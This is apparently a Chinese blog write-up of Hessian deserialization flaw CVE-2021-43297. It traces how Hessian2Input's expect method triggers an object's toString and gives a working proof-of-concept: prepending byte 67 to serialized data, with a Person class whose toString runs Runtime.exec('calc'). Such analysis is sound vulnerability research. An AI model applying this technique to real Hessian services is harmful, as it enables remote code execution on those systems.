目录
前言
利用关键
调用分析
如何控制第一个字节
EXP
前言
Hessian CVE-2021-43297,本质是字符串和对象拼接导致隐式触发了该对象的 toString 方法,触发toString方法便可生万物,而后打法无穷也!
这个CVE针对的是Hessian2Input#expect,Hessian1则没有对应的问题。
利用关键
Hessian2Input
中的 expect
方法用于检查下一个输入字节是否符合期望的标记,并将当前位置移动到下一个字节。它的函数签名如下:
protected IOException expect(String expect, int ch)
参数解释:
expect
表示期望的内容,ch
表示当前读取到的字符
expect
方法的作用是检查下一个输入字节是否等于给定的 expect
值,如果相等,则向前移动输入流的位置;如果不相等,则抛出 IOException
异常或者其他相关异常。
该方法通常在 Hessian 反序列化过程中使用,用于检查预期的数据标记,以确保数据的有效性和完整性。
现在具体来看expect方法怎么写的
protected IOException expect(String expect, int ch) throws IOException {
if (ch < 0) {
return this.error("expected " + expect + " at end of file");
} else {
--this._offset;
try {
int offset = this._offset;
String context = this.buildDebugContext(this._buffer, 0, this._length, offset);
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
} catch (Exception var6) {
log.log(Level.FINE, var6.toString(), var6);
return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
}
}
}
先 readObject 得到 obj, 然后直接将 obj 与字符串拼接, 从而触发 obj 的 toString 方法,目的达成
调用分析
从设计的角度,除 readObject 以外的其它 readXX 方法大都会调用 expect
这些 readXX 方法通常用于读取特定类型的数据或执行特定的读取操作,如:
readInt
方法:用于读取整数数据。readString
方法:用于读取字符串数据。readFloat
方法:用于读取浮点数数据。readChar
方法:用于读取单个字符数据。readLine
方法:用于读取一行文本数据。
这里师傅们用的是readString来触发expect,俺也来致敬经典😄
public String readString() throws IOException {
int tag = this.read();
int ch;
switch (tag) {
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
case 9:
case 10:
case 11:
case 12:
case 13:
case 14:
case 15:
case 16:
case 17:
case 18:
case 19:
case 20:
case 21:
case 22:
case 23:
case 24:
case 25:
case 26:
case 27:
case 28:
case 29:
case 30:
case 31:
this._isLastChunk = true;
this._chunkLength = tag - 0;
this._sbuf.setLength(0);
while((ch = this.parseChar()) >= 0) {
this._sbuf.append((char)ch);
}
return this._sbuf.toString();
case 32:
case 33:
case 34:
case 35:
case 36:
case 37:
case 38:
case 39:
case 40:
case 41:
case 42:
case 43:
case 44:
case 45:
case 46:
case 47:
case 52:
case 53:
case 54:
case 55:
case 64:
case 65:
case 66:
case 67:
case 69:
case 71:
case 72:
case 74:
case 75:
case 77:
case 79:
case 80:
case 81:
case 85:
case 86:
case 87:
case 88:
case 90:
case 96:
case 97:
case 98:
case 99:
case 100:
case 101:
case 102:
case 103:
case 104:
case 105:
case 106:
case 107:
case 108:
case 109:
case 110:
case 111:
case 112:
case 113:
case 114:
case 115:
case 116:
case 117:
case 118:
case 119:
case 120:
case 121:
case 122:
case 123:
case 124:
case 125:
case 126:
case 127:
default:
throw this.expect("string", tag);
......
}
}
现在问题就是怎么完成下列调用
readObject->readString->expect
Hessian反序列化时,会根据输入流来判断类型,首先读取输入流的一个字节,根据这个标记字节(tag)来决定反序列化的类型,而这第一个字节是我们可控的(暂时不讲怎么操作)
当tag为67时,会调用readObjectDefinition
跟进,接着调用readString
最后进到default->expect
hessian 在读入的时候是按一个个 byte 来读的,在 readObject 里面第一次调用的 this.read() 读取的是序列化后的 byte 数组里的第一个值, 所以只要在 原byte 数组的前面再拼一个 67 就行了
因为写入的 object 本来就不是 String 类型的,所以readString 里面读的第二个 tag 其实也不用考虑,最后肯定会进到default
如何控制第一个字节
System.arraycopy
是一个 Java 中用于复制数组元素的方法
public static void arraycopy(Object src, int srcPos, Object dest, int destPos, int length)
参数解释如下:
src
:源数组,即要复制数据的原始数组。srcPos
:源数组的起始位置,从该位置开始复制数据。dest
:目标数组,即将数据复制到的目标数组。destPos
:目标数组的起始位置,从该位置开始粘贴数据。length
:要复制的元素数量,即要复制的数据长度。
EXP
先导pom依赖
<dependencies>
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
</dependencies>
EXP.java
package org.Hessian;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class EXP {
public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}
public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
public static void main(String[] args) throws Exception {
Person person = new Person();
person.setName("Hessian异常toString成功捏o(=•ェ•=)m");
byte[] data = Hessian2_Serial(person);
byte[] poc = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
System.arraycopy(data, 0, poc, 1, data.length);
Hessian2_Deserial(poc);
}
}
Person.java
package org.Hessian;
import java.io.IOException;
import java.io.Serializable;
public class Person implements Serializable {
String name;
public void setName(String name) {
this.name = name;
}
@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
return this.name;
}
}
成功弹出计算器